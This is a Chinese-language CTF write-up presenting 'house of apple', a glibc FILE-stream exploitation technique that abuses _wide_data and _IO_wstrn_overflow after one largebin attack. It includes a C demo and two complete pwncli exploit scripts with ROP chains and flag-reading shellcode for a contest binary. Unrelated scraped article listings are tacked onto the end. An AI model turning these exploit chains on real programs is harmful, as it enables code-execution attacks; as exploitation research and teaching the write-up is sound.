House of apple 一种新的glibc中IO攻击方法

提出一种新的glibcIO利用思路,暂且命名为house of apple

前言

众所周知,glibc高版本逐渐移除了__malloc_hook/__free_hook/__realloc_hook等等一众hook全局变量,ctfpwn题对hook钩子的利用将逐渐成为过去式。而想要在高版本利用成功,基本上就离不开对IO_FILE结构体的伪造与IO流的攻击。之前很多师傅都提出了一些优秀的攻击方法,比如house of pighouse of kiwihouse of emma等。

其中,house of pig除了需要劫持IO_FILE结构体,还需要劫持tcache_perthread_struct结构体或者能控制任意地址分配;house of kiwi则至少需要修改三个地方的值:_IO_helper_jumps + 0xA0_IO_helper_jumps + 0xA8,另外还要劫持_IO_file_jumps + 0x60处的_IO_file_sync指针;而house of emma则至少需要修改两个地方的值,一个是tls结构体的point_guard(或者想办法泄露出来),另外需要伪造一个IO_FILE或替换vtavlexxx_cookie_jumps的地址。

总的来看,如果想使用上述方法成功地攻击IO,至少需要两次写或者一次写和一次任意地址读。而在只给一次任意地址写(如一次largebin attack)的情景下是很难利用成功的。

largebin attack是高版本中为数不多的可以任意地址写一个堆地址的方法,并常常和上述三种方法结合起来利用。本文将给出一种新的利用方法,在仅使用一次largebin attack并限制读写次数的条件下进行FSOP利用。顺便说一下,house of banana 也只需要一次largebin attack,但是其攻击的是rtld_global结构体,而不是IO流。

上述方法利用成功的前提均是已经泄露出libc地址和heap地址。本文的方法也不例外。

利用条件

使用house of apple的条件为:

1、程序从main函数返回或能调用exit函数

2、能泄露出heap地址和libc地址

3、 能使用一次largebin attack(一次即可)

利用原理

原理解释均基于amd64程序。

当程序从main函数返回或者执行exit函数的时候,均会调用fcloseall函数,该调用链为:

  • exit

    • fcloseall

      • _IO_cleanup

        • _IO_flush_all_lockp

          • _IO_OVERFLOW

最后会遍历_IO_list_all存放的每一个IO_FILE结构体,如果满足条件的话,会调用每个结构体中vtable->_overflow函数指针指向的函数。

使用largebin attack可以劫持_IO_list_all变量,将其替换为伪造的IO_FILE结构体,而在此时,我们其实仍可以继续利用某些IO流函数去修改其他地方的值。要想修改其他地方的值,就离不开_IO_FILE的一个成员_wide_data的利用。

  1. struct _IO_FILE_complete
  2. {
  3. struct _IO_FILE _file;
  4. __off64_t _offset;
  5. /* Wide character stream stuff. */
  6. struct _IO_codecvt *_codecvt;
  7. struct _IO_wide_data *_wide_data; // 劫持这个变量
  8. struct _IO_FILE *_freeres_list;
  9. void *_freeres_buf;
  10. size_t __pad5;
  11. int _mode;
  12. /* Make sure we don't get into trouble again. */
  13. char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
  14. };

amd64程序下,struct _IO_wide_data *_wide_data_IO_FILE中的偏移为0xa0

  1. amd64
  2. 0x0:'_flags',
  3. 0x8:'_IO_read_ptr',
  4. 0x10:'_IO_read_end',
  5. 0x18:'_IO_read_base',
  6. 0x20:'_IO_write_base',
  7. 0x28:'_IO_write_ptr',
  8. 0x30:'_IO_write_end',
  9. 0x38:'_IO_buf_base',
  10. 0x40:'_IO_buf_end',
  11. 0x48:'_IO_save_base',
  12. 0x50:'_IO_backup_base',
  13. 0x58:'_IO_save_end',
  14. 0x60:'_markers',
  15. 0x68:'_chain',
  16. 0x70:'_fileno',
  17. 0x74:'_flags2',
  18. 0x78:'_old_offset',
  19. 0x80:'_cur_column',
  20. 0x82:'_vtable_offset',
  21. 0x83:'_shortbuf',
  22. 0x88:'_lock',
  23. 0x90:'_offset',
  24. 0x98:'_codecvt',
  25. 0xa0:'_wide_data',
  26. 0xa8:'_freeres_list',
  27. 0xb0:'_freeres_buf',
  28. 0xb8:'__pad5',
  29. 0xc0:'_mode',
  30. 0xc4:'_unused2',
  31. 0xd8:'vtable'

我们在伪造_IO_FILE结构体的时候,伪造_wide_data变量,然后通过某些函数,比如_IO_wstrn_overflow就可以将已知地址空间上的某些值修改为一个已知值。

  1. static wint_t
  2. _IO_wstrn_overflow (FILE *fp, wint_t c)
  3. {
  4. /* When we come to here this means the user supplied buffer is
  5. filled. But since we must return the number of characters which
  6. would have been written in total we must provide a buffer for
  7. further use. We can do this by writing on and on in the overflow
  8. buffer in the _IO_wstrnfile structure. */
  9. _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
  10. if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
  11. {
  12. _IO_wsetb (fp, snf->overflow_buf,
  13. snf->overflow_buf + (sizeof (snf->overflow_buf)
  14. / sizeof (wchar_t)), 0);
  15. fp->_wide_data->_IO_write_base = snf->overflow_buf;
  16. fp->_wide_data->_IO_read_base = snf->overflow_buf;
  17. fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
  18. fp->_wide_data->_IO_read_end = (snf->overflow_buf
  19. + (sizeof (snf->overflow_buf)
  20. / sizeof (wchar_t)));
  21. }
  22. fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  23. fp->_wide_data->_IO_write_end = snf->overflow_buf;
  24. /* Since we are not really interested in storing the characters
  25. which do not fit in the buffer we simply ignore it. */
  26. return c;
  27. }

分析一下这个函数,首先将fp强转为_IO_wstrnfile *指针,然后判断fp->_wide_data->_IO_buf_base != snf->overflow_buf是否成立(一般肯定是成立的),如果成立则会对fp->_wide_data_IO_write_base_IO_read_base_IO_read_ptr_IO_read_end赋值为snf->overflow_buf或者与该地址一定范围内偏移的值;最后对fp->_wide_data_IO_write_ptr_IO_write_end赋值。

也就是说,只要控制了fp->_wide_data,就可以控制从fp->_wide_data开始一定范围内的内存的值,也就等同于任意地址写已知地址

这里有时候需要绕过_IO_wsetb函数里面的free

  1. void
  2. _IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
  3. {
  4. if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
  5. free (f->_wide_data->_IO_buf_base); // 其不为0的时候不要执行到这里
  6. f->_wide_data->_IO_buf_base = b;
  7. f->_wide_data->_IO_buf_end = eb;
  8. if (a)
  9. f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
  10. else
  11. f->_flags2 |= _IO_FLAGS2_USER_WBUF;
  12. }

_IO_wstrnfile涉及到的结构体如下:

  1. struct _IO_str_fields
  2. {
  3. _IO_alloc_type _allocate_buffer_unused;
  4. _IO_free_type _free_buffer_unused;
  5. };
  6. struct _IO_streambuf
  7. {
  8. FILE _f;
  9. const struct _IO_jump_t *vtable;
  10. };
  11. typedef struct _IO_strfile_
  12. {
  13. struct _IO_streambuf _sbf;
  14. struct _IO_str_fields _s;
  15. } _IO_strfile;
  16. typedef struct
  17. {
  18. _IO_strfile f;
  19. /* This is used for the characters which do not fit in the buffer
  20. provided by the user. */
  21. char overflow_buf[64];
  22. } _IO_strnfile;
  23. typedef struct
  24. {
  25. _IO_strfile f;
  26. /* This is used for the characters which do not fit in the buffer
  27. provided by the user. */
  28. wchar_t overflow_buf[64]; // overflow_buf在这里********
  29. } _IO_wstrnfile;

其中,overflow_buf相对于_IO_FILE结构体的偏移为0xf0,在vtable后面。

struct _IO_wide_data结构体如下:

  1. struct _IO_wide_data
  2. {
  3. wchar_t *_IO_read_ptr; /* Current read pointer */
  4. wchar_t *_IO_read_end; /* End of get area. */
  5. wchar_t *_IO_read_base; /* Start of putback+get area. */
  6. wchar_t *_IO_write_base; /* Start of put area. */
  7. wchar_t *_IO_write_ptr; /* Current put pointer. */
  8. wchar_t *_IO_write_end; /* End of put area. */
  9. wchar_t *_IO_buf_base; /* Start of reserve area. */
  10. wchar_t *_IO_buf_end; /* End of reserve area. */
  11. /* The following fields are used to support backing up and undo. */
  12. wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
  13. wchar_t *_IO_backup_base; /* Pointer to first valid character of
  14. backup area */
  15. wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
  16. __mbstate_t _IO_state;
  17. __mbstate_t _IO_last_state;
  18. struct _IO_codecvt _codecvt;
  19. wchar_t _shortbuf[1];
  20. const struct _IO_jump_t *_wide_vtable;
  21. };

换而言之,假如此时在堆上伪造一个_IO_FILE结构体并已知其地址为A,将A + 0xd8替换为_IO_wstrn_jumps地址,A + 0xc0设置为B,并设置其他成员以便能调用到_IO_OVERFLOWexit函数则会一路调用到_IO_wstrn_overflow函数,并将BB + 0x38的地址区域的内容都替换为A + 0xf0或者A + 0x1f0

简单写一个demo程序进行验证:

  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<stdint.h>
  4. #include<unistd.h>
  5. #include <string.h>
  6. void main()
  7. {
  8. setbuf(stdout, 0);
  9. setbuf(stdin, 0);
  10. setvbuf(stderr, 0, 2, 0);
  11. puts("[*] allocate a 0x100 chunk");
  12. size_t *p1 = malloc(0xf0);
  13. size_t *tmp = p1;
  14. size_t old_value = 0x1122334455667788;
  15. for (size_t i = 0; i < 0x100 / 8; i++)
  16. {
  17. p1[i] = old_value;
  18. }
  19. puts("===========================old value=======================");
  20. for (size_t i = 0; i < 4; i++)
  21. {
  22. printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
  23. tmp += 2;
  24. }
  25. puts("===========================old value=======================");
  26. size_t puts_addr = (size_t)&puts;
  27. printf("[*] puts address: %p\n", (void *)puts_addr);
  28. size_t stderr_write_ptr_addr = puts_addr + 0x1997b8;
  29. printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
  30. size_t stderr_flags2_addr = puts_addr + 0x199804;
  31. printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
  32. size_t stderr_wide_data_addr = puts_addr + 0x199830;
  33. printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
  34. size_t sdterr_vtable_addr = puts_addr + 0x199868;
  35. printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
  36. size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
  37. printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
  38. puts("[+] step 1: change stderr->_IO_write_ptr to -1");
  39. *(size_t *)stderr_write_ptr_addr = (size_t)-1;
  40. puts("[+] step 2: change stderr->_flags2 to 8");
  41. *(size_t *)stderr_flags2_addr = 8;
  42. puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
  43. *(size_t *)stderr_wide_data_addr = (size_t)p1;
  44. puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
  45. *(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
  46. puts("[+] step 5: call fcloseall and trigger house of apple");
  47. fcloseall();
  48. tmp = p1;
  49. puts("===========================new value=======================");
  50. for (size_t i = 0; i < 4; i++)
  51. {
  52. printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
  53. tmp += 2;
  54. }
  55. puts("===========================new value=======================");
  56. }

输出结果如下:

  1. roderick@ee8b10ad26b9:~/hack$ gcc demo.c -o demo -g -w && ./demo
  2. [*] allocate a 0x100 chunk
  3. ===========================old value=======================
  4. [0x55cfb956d2a0]: 0x1122334455667788 0x1122334455667788
  5. [0x55cfb956d2b0]: 0x1122334455667788 0x1122334455667788
  6. [0x55cfb956d2c0]: 0x1122334455667788 0x1122334455667788
  7. [0x55cfb956d2d0]: 0x1122334455667788 0x1122334455667788
  8. ===========================old value=======================
  9. [*] puts address: 0x7f648b8a6ef0
  10. [*] stderr->_IO_write_ptr address: 0x7f648ba406a8
  11. [*] stderr->_flags2 address: 0x7f648ba406f4
  12. [*] stderr->_wide_data address: 0x7f648ba40720
  13. [*] stderr->vtable address: 0x7f648ba40758
  14. [*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
  15. [+] step 1: change stderr->_IO_write_ptr to -1
  16. [+] step 2: change stderr->_flags2 to 8
  17. [+] step 3: replace stderr->_wide_data with the allocated chunk
  18. [+] step 4: replace stderr->vtable with _IO_wstrn_jumps
  19. [+] step 5: call fcloseall and trigger house of apple
  20. ===========================new value=======================
  21. [0x55cfb956d2a0]: 0x00007f648ba40770 0x00007f648ba40870
  22. [0x55cfb956d2b0]: 0x00007f648ba40770 0x00007f648ba40770
  23. [0x55cfb956d2c0]: 0x00007f648ba40770 0x00007f648ba40770
  24. [0x55cfb956d2d0]: 0x00007f648ba40770 0x00007f648ba40870
  25. ===========================new value=======================

从输出中可以看到,已经成功修改了sdterr->_wide_data所指向的地址空间的内存。

利用思路

从上面的分析可以,在只给了1largebin attack的前提下,能利用_IO_wstrn_overflow函数将任意地址空间上的值修改为一个已知地址,并且这个已知地址通常为堆地址。那么,当我们伪造两个甚至多个_IO_FILE结构体,并将这些结构体通过chain字段串联起来就能进行组合利用。基于此,我总结了house of apple下至少四种利用思路。

思路一:修改tcache线程变量

该思路需要借助house of pig的思想,利用_IO_str_overflow中的malloc进行任意地址分配,memcpy进行任意地址覆盖。其代码片段如下:

  1. int
  2. _IO_str_overflow (FILE *fp, int c)
  3. {
  4. // ......
  5. char *new_buf;
  6. char *old_buf = fp->_IO_buf_base; // 赋值为old_buf
  7. size_t old_blen = _IO_blen (fp);
  8. size_t new_size = 2 * old_blen + 100;
  9. if (new_size < old_blen)
  10. return EOF;
  11. new_buf = malloc (new_size); // 这里任意地址分配
  12. if (new_buf == NULL)
  13. {
  14. /* __ferror(fp) = 1; */
  15. return EOF;
  16. }
  17. if (old_buf)
  18. {
  19. memcpy (new_buf, old_buf, old_blen); // 劫持_IO_buf_base后即可任意地址写任意值
  20. free (old_buf);
  21. // .......
  22. }

利用步骤如下:

  • 伪造至少两个_IO_FILE结构体
  • 第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改tcache全局变量为已知值,也就控制了tcache bin的分配
  • 第二个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_str_overflow中的malloc函数任意地址分配,并使用memcpy使得能够任意地址写任意值
  • 利用两次任意地址写任意值修改pointer_guardIO_accept_foreign_vtables的值绕过_IO_vtable_check函数的检测(或者利用一次任意地址写任意值修改libc.got里面的函数地址,很多IO流函数调用strlen/strcpy/memcpy/memset等都会调到libc.got里面的函数)
  • 利用一个_IO_FILE,随意伪造vtable劫持程序控制流即可

因为可以已经任意地址写任意值了,所以这可以控制的变量和结构体非常多,也非常地灵活,需要结合具体的题目进行利用,比如题目中_IO_xxx_jumps映射的地址空间可写的话直接修改其函数指针即可。

思路二:修改mp_结构体

该思路与上述思路差不多,不过对tcachebin分配的劫持是通过修改mp_.tcache_bins这个变量。打这个结构体的好处是在攻击远程时不需要爆破地址,因为线程全局变量、tls结构体的地址本地和远程并不一定是一样的,有时需要爆破。

利用步骤如下:

  • 伪造至少两个_IO_FILE结构体
  • 第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改mp_.tcache_bins为很大的值,使得很大的chunk也通过tcachebin去管理
  • 接下来的过程与上面的思路是一样的

思路三:修改pointer_guard线程变量之house of emma

该思路其实就是house of apple + house of emma

利用步骤如下:

  • 伪造两个_IO_FILE结构体
  • 第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改tls结构体pointer_guard的值为已知值
  • 第二个_IO_FILE结构体用来做house of emma利用即可控制程序执行流

思路四:修改global_max_fast全局变量

这个思路也很灵活,修改掉这个变量后,直接释放超大的chunk,去覆盖掉point_guard或者tcache变量。我称之为house of apple + house of corrision

利用过程与前面也基本是大同小异,就不在此详述了。

其实也有其他的思路,比如还可以劫持main_arena,不过这个结构体利用起来会更复杂,所需要的空间将更大。而在上述思路的利用过程中,可以选择错位构造_IO_FILE结构体,只需要保证关键字段满足要求即可,这样可以更加节省空间。

例题分析

这里以某次市赛的题为例,题目为pwn_oneday,附件下载链接在这里

这个题目禁止了execve系统调用,能分配的chunk的大小基本是固定的,并且只允许1次读和1次写,最多只能分配0x10次,使用的glibc版本为2.34

题目分析

initial

首先是初始化,开启了沙盒:

main

main函数必须选一个key,大小在6-10。也就是说,分配的chunk都会属于largebin范围。

add

限制了只能分配key+0x10key+0x202 * key + 0x10大小的chunk

dele

存在UAF,没有清空指针。

read

只给1次机会读。

write

只给一次机会写,并只泄露出0x10个字节的数据。

利用过程

这道题的限制还是很多的,当然,给的漏洞也很明显。但是程序里面没有使用与IO有关的函数,全部使用原始的read/write去完成读写操作,并且使用glibc-2.34版本,这个版本里面去掉了很多的hook变量。

很明显,需要使用一次读泄露出libc地址和heap地址,然后用一次写做一次largebin attack

如果用largebin attack去劫持_rtld_globallink_map成员,那么还需要一次写去绕过for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next),否则这里会造成死循环;如果打l_addr成员,会发现能分配的堆的空间不足,l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x201d70,而就算每次分配0xaa0 * 2 + 0x10,再分配16次也没这么大。至于劫持别的成员,受限于沙盒,也很难完成利用。

由于限制了读写次数为1次,就很难再泄露出pointer_guard的值,也很难再覆盖pointer_guard的值,所以与pointer_guard有关的利用也基本行不通。

因此,选择使用house of apple劫持_IO_FILE->_wide_data成员进行利用。

在利用之前,还有一些准备工作需要做。我们需要进行合理的堆风水布局,使得能够在修改一个largebin chunk Abk_nextsize的同时伪造一个chunk B,并需要让AB在同一个bins数组中,然后释放B并进行largebin attack,这样就能保证既完成任意地址写堆地址,也能控制写的堆地址所属的chunk的内容。

对三种大小chunksize进行分析,并设x = key + 0x10y = key + 0x20, z = key * 2 + 0x10。那么有:

  1. 2 * y - z = 2 * key + 0x40 - 2 * key - 0x10 = 0x30
  2. 2 * y - 2 * x = 2 *key + 0x40 - 2 * key - 0x20 = 0x20

题目中还存在UAF,于是就可以的构造出如下布局:

堆风水步骤为:

  • 释放chunk 1,并将其置于largebin
  • 利用一次写的机会,修改chunk 2,此时修改了chunk1bk_nextsize,并伪造一个chunk 3
  • 释放chunk 3,在其入链的过程中触发largebin attack,即可任意地址写一个堆地址

经过计算,这里选择key0xa,此时chunk 1的大小为0xab0,伪造的chunk 3的大小为0xa80

基于上面对house of apple的分析,首先使用思路三修改pointer_guard,然后进行house of emma利用。由于pointer_guardfs:[0x30],而canaryfs:[0x28],所以直接找canary,然后利用pwndbgsearch命令搜索即可,如下所示:

此时的利用步骤如下:

  • 利用一次write的机会泄露出libc地址和heap地址

  • 利用堆风水,构造1largebin attack,替换_IO_list_all为堆地址

  • 利用house of apple,修改掉pointer_guard的值

  • 利用house of emma并结合几个gadgets控制rsp

  • rop链输出flag

exp如下:

  1. #!/usr/bin/python3
  2. # -*- encoding: utf-8 -*-
  3. # author: roderick
  4. from pwncli import *
  5. cli_script()
  6. io: tube = gift['io']
  7. elf: ELF = gift['elf']
  8. libc: ELF = gift['libc']
  9. small = 1
  10. medium = 2
  11. large = 3
  12. key = 10
  13. def add(c):
  14. sla("enter your command: \n", "1")
  15. sla("choise: ", str(c))
  16. def dele(i):
  17. sla("enter your command: \n", "2")
  18. sla("Index: \n", str(i))
  19. def read_once(i, data):
  20. sla("enter your command: \n", "3")
  21. sla("Index: ", str(i))
  22. sa("Message: \n", flat(data, length=0x110 * key))
  23. def write_once(i):
  24. sla("enter your command: \n", "4")
  25. sla("Index: ", str(i))
  26. ru("Message: \n")
  27. m = rn(0x10)
  28. d1 = u64_ex(m[:8])
  29. d2 = u64_ex(m[8:])
  30. log_address_ex("d1")
  31. log_address_ex("d2")
  32. return d1, d2
  33. def bye():
  34. sla("enter your command: \n", "9")
  35. sla("enter your key >>\n", str(key))
  36. add(medium)
  37. add(medium)
  38. add(small)
  39. dele(2)
  40. dele(1)
  41. dele(0)
  42. add(small)
  43. add(small)
  44. add(small)
  45. add(small)
  46. dele(3)
  47. dele(5)
  48. m1, m2 = write_once(3)
  49. libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
  50. heap_base = m2 - 0x17f0
  51. dele(4)
  52. dele(6)
  53. add(large)
  54. add(small)
  55. add(small)
  56. dele(8)
  57. add(large)
  58. target_addr = libc.sym._IO_list_all
  59. _IO_wstrn_jumps = libc_base + 0x1f3d20
  60. _IO_cookie_jumps = libc_base + 0x1f3ae0
  61. _lock = libc_base + 0x1f5720
  62. point_guard_addr = libc_base - 0x2890
  63. expected = heap_base + 0x1900
  64. chain = heap_base + 0x1910
  65. magic_gadget = libc_base + 0x146020
  66. mov_rsp_rdx_ret = libc_base + 0x56530
  67. add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
  68. pop_rdi_ret = libc_base + 0x2daa2
  69. pop_rsi_ret = libc_base + 0x37c0a
  70. pop_rdx_rbx_ret = libc_base + 0x87729
  71. f1 = IO_FILE_plus_struct()
  72. f1._IO_read_ptr = 0xa81
  73. f1.chain = chain
  74. f1._flags2 = 8
  75. f1._mode = 0
  76. f1._lock = _lock
  77. f1._wide_data = point_guard_addr
  78. f1.vtable = _IO_wstrn_jumps
  79. f2 = IO_FILE_plus_struct()
  80. f2._IO_write_base = 0
  81. f2._IO_write_ptr = 1
  82. f2._lock = _lock
  83. f2._mode = 0
  84. f2._flags2 = 8
  85. f2.vtable = _IO_cookie_jumps + 0x58
  86. data = flat({
  87. 0x8: target_addr - 0x20,
  88. 0x10: {
  89. 0: {
  90. 0: bytes(f1),
  91. 0x100:{
  92. 0: bytes(f2),
  93. 0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
  94. 0x100: [
  95. add_rsp_0x20_pop_rbx_ret,
  96. chain + 0x100,
  97. 0,
  98. 0,
  99. mov_rsp_rdx_ret,
  100. 0,
  101. pop_rdi_ret,
  102. chain & ~0xfff,
  103. pop_rsi_ret,
  104. 0x4000,
  105. pop_rdx_rbx_ret,
  106. 7, 0,
  107. libc.sym.mprotect,
  108. chain + 0x200
  109. ],
  110. 0x200: ShellcodeMall.amd64.cat_flag
  111. }
  112. },
  113. 0xa80: [0, 0xab1]
  114. }
  115. })
  116. read_once(5, data)
  117. dele(2)
  118. add(large)
  119. bye()
  120. ia()
  121. ia()

调试截图如下:

修改掉pointer_guard

然后使用_IO_cookie_read控制程序执行流:

成功劫持rsp

接下来使用思路一,修改tcache变量,对于该变量的寻找同样可以使用search命令:

此时的步骤如下:

  • 使用house of apple修改tcache变量为可控堆地址
  • 使用_IO_str_overflow完成任意地址写任意值,由于_IO_str_jumps区域是可写的,所以我选择覆盖这里
  • 仍然利用一些gadgets劫持rsp,然后rop泄露出flag

exp如下:

  1. #!/usr/bin/python3
  2. # -*- encoding: utf-8 -*-
  3. # author: roderick
  4. from pwncli import *
  5. cli_script()
  6. io: tube = gift['io']
  7. elf: ELF = gift['elf']
  8. libc: ELF = gift['libc']
  9. small = 1
  10. medium = 2
  11. large = 3
  12. key = 10
  13. def add(c):
  14. sla("enter your command: \n", "1")
  15. sla("choise: ", str(c))
  16. def dele(i):
  17. sla("enter your command: \n", "2")
  18. sla("Index: \n", str(i))
  19. def read_once(i, data):
  20. sla("enter your command: \n", "3")
  21. sla("Index: ", str(i))
  22. sa("Message: \n", flat(data, length=0x110 * key))
  23. def write_once(i):
  24. sla("enter your command: \n", "4")
  25. sla("Index: ", str(i))
  26. ru("Message: \n")
  27. m = rn(0x10)
  28. d1 = u64_ex(m[:8])
  29. d2 = u64_ex(m[8:])
  30. log_address_ex("d1")
  31. log_address_ex("d2")
  32. return d1, d2
  33. def bye():
  34. sla("enter your command: \n", "9")
  35. sla("enter your key >>\n", str(key))
  36. add(medium) # 0
  37. add(medium) # 1
  38. add(small) # 2 fake
  39. dele(2)
  40. dele(1)
  41. dele(0)
  42. add(small) # 3
  43. add(small) # 4
  44. add(small) # 5 write
  45. add(small) # 6
  46. dele(3)
  47. dele(5)
  48. m1, m2 = write_once(3)
  49. libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
  50. heap_base = m2 - 0x17f0
  51. dele(4)
  52. dele(6)
  53. add(large)
  54. add(small) # 8 del
  55. add(small) # gap
  56. dele(8)
  57. add(large)
  58. target_addr = libc.sym._IO_list_all
  59. _IO_wstrn_jumps = libc_base + 0x1f3d20
  60. _IO_str_jumps = libc_base + 0x1f4620
  61. _lock = libc_base + 0x1f5720
  62. tcache = libc_base - 0x2908
  63. tcache_perthread_struct = heap_base + 0x1a10
  64. chain = heap_base + 0x1910
  65. magic_gadget = libc_base + 0x146020
  66. mov_rsp_rdx_ret = libc_base + 0x56530
  67. add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
  68. pop_rdi_ret = libc_base + 0x2daa2
  69. pop_rsi_ret = libc_base + 0x37c0a
  70. pop_rdx_rbx_ret = libc_base + 0x87729
  71. f1 = IO_FILE_plus_struct()
  72. f1._IO_read_ptr = 0xa81
  73. f1.chain = chain
  74. f1._flags2 = 8
  75. f1._mode = 0
  76. f1._lock = _lock
  77. f1._wide_data = tcache - 0x38
  78. f1.vtable = _IO_wstrn_jumps
  79. f2 = IO_FILE_plus_struct()
  80. f2.flags = 0
  81. f2._IO_write_base = 0
  82. f2._IO_write_ptr = 0x1000
  83. f2.chain = chain + 0x200
  84. f2._IO_buf_base = chain + 0xf0
  85. f2._IO_buf_end = chain + 0xf0 + 0x20
  86. f2._lock = _lock
  87. f2._mode = 0
  88. f2.vtable = _IO_str_jumps
  89. f3 = IO_FILE_plus_struct()
  90. f3._IO_read_ptr = chain + 0x110
  91. f3._IO_write_base = 0
  92. f3._IO_write_ptr = 1
  93. f3._lock = _lock
  94. f3._mode = 0
  95. f3.vtable = _IO_str_jumps
  96. data = flat({
  97. 0x8: target_addr - 0x20,
  98. 0x10: {
  99. 0: {
  100. 0: bytes(f1),
  101. 0x100:{
  102. 0: bytes(f2),
  103. 0xe0: [0, 0x31, [magic_gadget] * 4],
  104. 0x110: [
  105. add_rsp_0x20_pop_rbx_ret,
  106. 0x21,
  107. 0,
  108. 0,
  109. mov_rsp_rdx_ret,
  110. 0,
  111. pop_rdi_ret,
  112. chain & ~0xfff,
  113. pop_rsi_ret,
  114. 0x4000,
  115. pop_rdx_rbx_ret,
  116. 7, 0,
  117. libc.sym.mprotect,
  118. chain + 0x300
  119. ],
  120. 0x1b8: _IO_str_jumps,
  121. 0x200: bytes(f3),
  122. 0x300: ShellcodeMall.amd64.cat_flag
  123. }
  124. },
  125. 0xa80: [0, 0xab1]
  126. }
  127. })
  128. read_once(5, data)
  129. dele(2)
  130. add(large)
  131. bye()
  132. ia()

调试截图:

修改掉tache变量:

然后分配到_IO_str_jumps

后面的过程就一样了:

最后成功输出flag:

总结

之前的一些IO流攻击方法对_wide_data的关注甚少,本文提出一种新的方法,劫持了_wide_data成员并在仅进行1largebin attack的条件下成功进行FSOP利用。且该方法可通杀所有版本的glibc

可以看到,house of apple是对现有一些IO流攻击方法的补充,能在一次劫持IO流的过程中做到任意地址写已知值,进而构造出其他方法攻击成功的条件。

House of apple 一种新的glibc中IO攻击方法的更多相关文章

  1. PatentTips -- 一种在CoAP网络中注册的方法及装置

    技术领域 [0001] 本发明涉及一种在CoAP网络中注册的方法及装置,属于网络通信技术领域. 背景技术 [0002] (Internet of Things,物联网)作为新一代的信息技术,越来越受到 ...

  2. 几种判断asp.net中session过期方法的比较

    方法一:最麻烦也是最容易想到的方法,在每个页面的page_load()方法里面判断: protected void Page_Load(object sender, EventArgs e) { if ...

  3. Redis6通信协议升级至RESP3,一口气看完13种新数据类型

    原创:微信公众号 码农参上,欢迎分享,转载请保留出处. 在前面的文章 Redis:我是如何与客户端进行通信的 中,我们介绍过RESP V2版本协议的规范,RESP的全程是Redis Serializa ...

  4. 发表在 Science 上的一种新聚类算法

    今年 6 月份,Alex Rodriguez 和 Alessandro Laio 在 Science 上发表了一篇名为<Clustering by fast search and find of ...

  5. javascript一种新的对象创建方式-Object.create()

    1.Object.create() 是什么? Object.create(proto [, propertiesObject ]) 是E5中提出的一种新的对象创建方式,第一个参数是要继承的原型,如果不 ...

  6. 二十八、带给我们一种新的编码思路——EFW框架CS系统开发中的MVC模式探讨

    回<[开源]EFW框架系列文章索引>        EFW框架源代码下载V1.3:http://pan.baidu.com/s/1c0dADO0 EFW框架实例源代码下载:http://p ...

  7. 今天在研究jquery用ajax提交form表单中得数据时,学习到了一种新的提交方式

    今天在研究jquery用ajax提交form表单中得数据时,学习到了一种新的提交方式 jquery中的serialize() 方法 该方法通过序列化表单值,创建 URL 编码文本字符串 序列化的值可在 ...

  8. 你知道现在有一种新的OCR技术叫“移动端车牌识别”吗?

    核心内容:车牌识别.OCR识别技术.移动端车牌识别.手机端车牌识别.安卓车牌识别.Android车牌识别.iOS车牌识别 一.移动端车牌识别OCR技术研发原理 移动端车牌识别是基于OCR识别的一种应用 ...

  9. Flash10下复制到剪切板的一种新方法

    web开发中常常要实现“复制到剪切板”功能.这个功能很实用,但是由于安全问题,浏览器的限制越来越严,实现的方法也越来越有限了.Firefox默认下不能直接通过Javascript操作剪切板,必须开启相 ...

随机推荐

  1. VUE3 之 全局 Mixin 与 自定义属性合并策略 - 这个系列的教程通俗易懂,适合新手

    1. 概述 老话说的好:心态决定命运,好心态才能有好的命运. 言归正传,今天我们来聊聊 VUE 中的全局 Mixin 与 自定义属性合并策略. 2. Mixin 的使用 2.1 全局 Mixin 之前 ...

  2. Flutter 打印日志封装及创建Live Templates快捷打印日志

    只需要输入logi 就可出现以下代码 /// tag(类名.函数名)LogUtil.i(index, tag: '_MyHomePageState.onItemClick:');打印日志效果如下: 实 ...

  3. Water 2.5.9 发布,一站式服务治理平台

    Water(水孕育万物...) Water 为项目开发.服务治理,提供一站式解决方案(可以理解为微服务架构支持套件).基于 Solon 框架开发,并支持完整的 Solon Cloud 规范:已在生产环 ...

  4. Nuxt 的介绍与安装

